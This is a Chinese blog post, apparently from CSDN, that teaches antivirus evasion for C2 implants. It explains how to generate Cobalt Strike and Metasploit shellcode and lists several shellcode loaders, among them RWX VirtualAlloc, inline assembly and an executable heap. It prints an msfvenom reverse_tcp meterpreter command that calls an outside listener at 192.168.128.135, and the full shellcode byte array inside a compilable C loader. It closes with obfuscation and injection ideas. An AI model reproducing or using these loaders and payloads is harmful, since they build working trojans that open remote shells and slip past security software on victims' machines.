前言
欢迎来到我的博客
个人主页:北岭敲键盘的荒漠猫-CSDN博客
本文主要整理C2免杀中
shellcode代码免杀的相关部分
shellcode概念
我们也不啰嗦,我直接直观的描述一下他。
他就是一串机器能运行的代码,但是他不是正统的python,c,c++的代码。
这串代码就有木马功能,我们需要写一个加载器去运行这串代码就能实现木马上线。
因此,shellcode也是能够嵌入到正规的程序中做伪装的。
CS手工编译过程
本处使用cs2工具的shellcode代码。
常规使用操作
启动cs2
常规操作创建监听器
然后直接生成exe文件
直接生成exe。
生成shellcode
我们用这个生成
他会有很多种代码格式可以选择。
生成python的
看,他全存在变量里了。
生成c语言的模版,记得把x64给去掉,只能用32位汇编,不然出错(在这个坑中栽了很久)
因为c语言偏底层,所以c语言免杀的玩法相对较多。
生成代码后我们vs中创建一个项目,把生成的代码复制进来。
之后包含正常的编写文件,再写一个加载器来调用这个汇编语言就可以了。
然后编译之前需要设置一下属性,让他不做安全检查
多线程也改一下
代码常规性检查也给关掉
然后就是汇编语言只能32位的问题,当然不是说只能32,是vs中64位__asm不能内联汇编
改成32位
配置完毕就可以直接生成了。
这里注意下,加载器有以下几种。
//方式一:指针执行/* ((void(*)(void)) & buf)();*///方式二:强制类型转换//((void(WINAPI*)(void))&buf)();//方式三:申请动态内存加载/*char* Memory;Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);memcpy(Memory, buf, sizeof(buf));((void(*)())Memory)();*///方式四:嵌入汇编加载//__asm {//lea eax,buf//call eax//}//方式五:汇编花指令//__asm{//mov eax, offset shellcode//_emit 0xFF//_emit 0xE0//}
__asm在生成x86有效,x64会报错,22版vs不支持asm内联汇编了。
生成的木马放到虚拟机中测试
上线不了!凸(艹皿艹 )
如果大家遇到这种情况就别用指针和asm内联了。
我们多换几个加载器就可以了
void main() {HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(buf), 0);char* buffer = (char*)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(buf));memcpy(buffer, buf, sizeof(buf));((void(*)(void)) buffer)();
}
这个加载器可以上线
编译完成后放到虚拟机中
成功上线。
MSF手工编译过程
生成shellcode
输入指令:(用的viper这类图形化的用别的方法)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.128.135 LPORT=6001 -f c
ip和端口自己改一下
手工编译
把代码复制到vs中
然后跟上面一样写个加载器编译就行了。
#include <string.h>
#include <stdio.h>
#include <Windows.h>unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x31\xff\x0f\xb7"
"\x4a\x26\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58\x20"
"\x01\xd3\x8b\x48\x18\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31"
"\xff\x01\xd6\x31\xc0\xc1\xcf\x0d\xac\x01\xc7\x38\xe0\x75"
"\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
"\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
"\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
"\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x80\x87\x68\x02\x00"
"\x17\x71\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74"
"\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
"\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
"\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e"
"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";// 主函数
void main() {HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(buf), 0);char* buffer = (char*)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(buf));memcpy(buffer, buf, sizeof(buf));((void(*)(void)) buffer)();
}
创建监听后上线。
(但可能是windows对这种shellcode的安全策略,导致很多未经加密的加载器都很难上线)
CS的通过换加载器能够实现上线,但是msf的我没有上线成功。
需要进行后续的代码混淆。
shellcode免杀思路
这篇仅整理思路,具体的后面篇章整理
1.自写shellcode
2.加密混淆
3.分离隐藏
4.注入回调
加载器免杀思路
想尽一切办法
开辟一块内存空间用于执行shellcode